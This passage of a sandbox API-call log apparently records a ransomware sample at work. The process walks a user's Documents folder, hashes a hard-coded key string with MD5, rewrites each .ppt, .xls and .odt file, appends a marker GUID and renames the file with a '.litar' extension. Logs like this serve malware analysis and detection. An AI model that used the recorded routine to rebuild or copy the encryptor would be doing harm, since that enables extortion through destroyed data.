lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x55d5, lpOverlapped=0x0) returned 1 [0126.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.518] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x55da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.518] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.518] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.518] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.518] CloseHandle (hObject=0x624) returned 1 [0126.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0126.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0126.519] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\f7Iu.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\f7iu.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\f7Iu.ppt.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\f7iu.ppt.litar")) returned 1 [0126.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.520] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0126.521] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bab1400, ftCreationTime.dwHighDateTime=0x1d4c685, ftLastAccessTime.dwLowDateTime=0xae6436b0, ftLastAccessTime.dwHighDateTime=0x1d4d4fb, ftLastWriteTime.dwLowDateTime=0xae6436b0, ftLastWriteTime.dwHighDateTime=0x1d4d4fb, nFileSizeHigh=0x0, nFileSizeLow=0x120dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hv8Rvu6GKv.ppt", cAlternateFileName="HV8RVU~1.PPT")) returned 1 [0126.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.521] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\hv8Rvu6GKv.ppt") returned=".ppt" [0126.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\hv8Rvu6GKv.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\hv8rvu6gkv.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.522] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=73949) returned 1 [0126.522] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.523] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x120b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.523] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.525] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x120dd, lpOverlapped=0x0) returned 1 [0126.525] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.525] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.526] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.526] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.526] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.526] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.526] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.526] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.526] GetLastError () returned 0x0 [0126.527] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.527] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x120e0) returned 0x30fa0b0 [0126.527] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.527] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x120d8, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x120d8, lpOverlapped=0x0) returned 1 [0126.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.527] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x120dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.528] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.528] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.528] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.528] CloseHandle (hObject=0x624) returned 1 [0126.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0126.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0126.529] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\hv8Rvu6GKv.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\hv8rvu6gkv.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\hv8Rvu6GKv.ppt.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\hv8rvu6gkv.ppt.litar")) returned 1 [0126.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.530] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0126.531] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38b28db0, ftCreationTime.dwHighDateTime=0x1d4d576, ftLastAccessTime.dwLowDateTime=0x2ae22360, ftLastAccessTime.dwHighDateTime=0x1d4c763, ftLastWriteTime.dwLowDateTime=0x2ae22360, ftLastWriteTime.dwHighDateTime=0x1d4c763, nFileSizeHigh=0x0, nFileSizeLow=0x93a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VoZWZdD.xls", cAlternateFileName="")) returned 1 [0126.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x2fd16f0 [0126.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.531] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\VoZWZdD.xls") returned=".xls" [0126.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\VoZWZdD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\vozwzdd.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.532] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=37797) returned 1 [0126.532] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.534] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x937f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.534] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.536] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.536] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x93a5, lpOverlapped=0x0) returned 1 [0126.536] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.537] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.537] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.537] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.537] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.537] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.537] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.537] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.537] GetLastError () returned 0x0 [0126.538] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.538] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x93b0) returned 0x30fa0b0 [0126.538] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.538] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x93a0, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x93a0, lpOverlapped=0x0) returned 1 [0126.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.538] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x93a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.538] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.539] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.539] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.539] CloseHandle (hObject=0x624) returned 1 [0126.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0126.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0126.540] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\VoZWZdD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\vozwzdd.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\VoZWZdD.xls.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\vozwzdd.xls.litar")) returned 1 [0126.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.540] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0126.541] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x584bdd10, ftCreationTime.dwHighDateTime=0x1d4cdf7, ftLastAccessTime.dwLowDateTime=0xd12e1080, ftLastAccessTime.dwHighDateTime=0x1d4ca92, ftLastWriteTime.dwLowDateTime=0xd12e1080, ftLastWriteTime.dwHighDateTime=0x1d4ca92, nFileSizeHigh=0x0, nFileSizeLow=0x18aac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_-u6ogOGtJDh_andzkIr.odt", cAlternateFileName="_-U6OG~1.ODT")) returned 1 [0126.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x2fd16f0 [0126.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.541] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\_-u6ogOGtJDh_andzkIr.odt") returned=".odt" [0126.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\_-u6ogOGtJDh_andzkIr.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\_-u6ogogtjdh_andzkir.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.541] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=101036) returned 1 [0126.541] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.543] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18a86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.543] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.545] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.545] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.545] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x18aac, lpOverlapped=0x0) returned 1 [0126.546] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.546] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.546] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.546] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.547] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.547] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.547] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.547] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.547] GetLastError () returned 0x0 [0126.547] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.547] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18ab0) returned 0x30fa0b0 [0126.547] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.547] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x18aa7, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x18aa7, lpOverlapped=0x0) returned 1 [0126.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.548] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18aac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.548] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.548] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.548] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.548] CloseHandle (hObject=0x624) returned 